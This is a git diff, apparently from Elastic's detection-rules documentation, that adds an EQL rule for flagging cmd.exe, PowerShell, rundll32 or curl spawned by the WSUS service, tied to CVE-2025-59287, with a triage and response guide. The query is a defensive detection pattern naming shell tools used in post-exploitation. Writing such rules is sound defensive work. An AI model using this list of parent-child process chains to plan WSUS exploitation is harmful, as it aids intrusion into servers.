+* logs-crowdstrike.fdr* *Severity*: high @@ -32,8 +33,9 @@ An adversary may attempt to get detailed information about the operating system * Data Source: Elastic Endgame * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 111 +*Version*: 112 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/windows-server-update-service-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/rule-details/windows-server-update-service-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..e029672338 --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/windows-server-update-service-spawning-suspicious-processes.asciidoc @@ -0,0 +1,137 @@ +[[windows-server-update-service-spawning-suspicious-processes]] +=== Windows Server Update Service Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287 +* https://hawktrace.com/blog/CVE-2025-59287 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Server Update Service Spawning Suspicious Processes* + + + +*Possible investigation steps* + + +- Examine the child process details, focusing on the process names and original file names such as cmd.exe, powershell.exe, pwsh.exe, and powershell_ise.exe, to identify any unauthorized or unexpected command-line activity. +- Investigate the timeline of events leading up to the alert, including any preceding or subsequent processes, to understand the context and potential impact of the suspicious activity. +- Check for any associated network activity or connections initiated by the suspicious processes to identify potential data exfiltration or communication with external command and control servers. +- Review recent changes or access logs on the affected server to identify any unauthorized access attempts or modifications that could indicate exploitation or the presence of a web shell. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender for Endpoint, or SentinelOne to gather additional context and corroborate findings. +- Assess the risk and impact of the detected activity, considering the severity and risk score, and determine appropriate response actions, such as isolating the affected system or conducting a deeper forensic analysis. + + +*False positive analysis* + + +- This behavior is rare and should be treated with high suspicion. + + +*Response and remediation* + + +- Immediately isolate the affected Server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as being spawned by w3wp.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of the server's application pools and web directories to identify and remove any unauthorized web shells or scripts. +- Restore the server from a known good backup taken before the suspicious activity was detected to ensure system integrity. +- Apply the latest security patches and updates to the Server to mitigate known vulnerabilities and prevent exploitation. +- Monitor network traffic and server logs for any signs of continued or attempted exploitation, focusing on unusual outbound connections or repeated access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "rundll32.exe", "curl.exe") and + ( + (process.parent.name : "w3wp.exe" and process.parent.args : "WsusPool") or + process.parent.name : "WsusService.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/index.asciidoc b/docs/index.asciidoc index 4ac69e4c6c..10818ed01b 100644 --- a/docs/index.asciidoc +++ b/docs/index.asciidoc @@ -101,3 +101,5 @@ include::detections/prebuilt-rules/downloadable-packages/8-19-7/prebuilt-rules-8 include::detections/prebuilt-rules/downloadable-packages/8-19-8/prebuilt-rules-8-19-8-appendix.asciidoc[] include::detections/prebuilt-rules/downloadable-packages/8-19-9/prebuilt-rules-8-19-9-appendix.asciidoc[] + +include::detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-appendix.asciidoc[]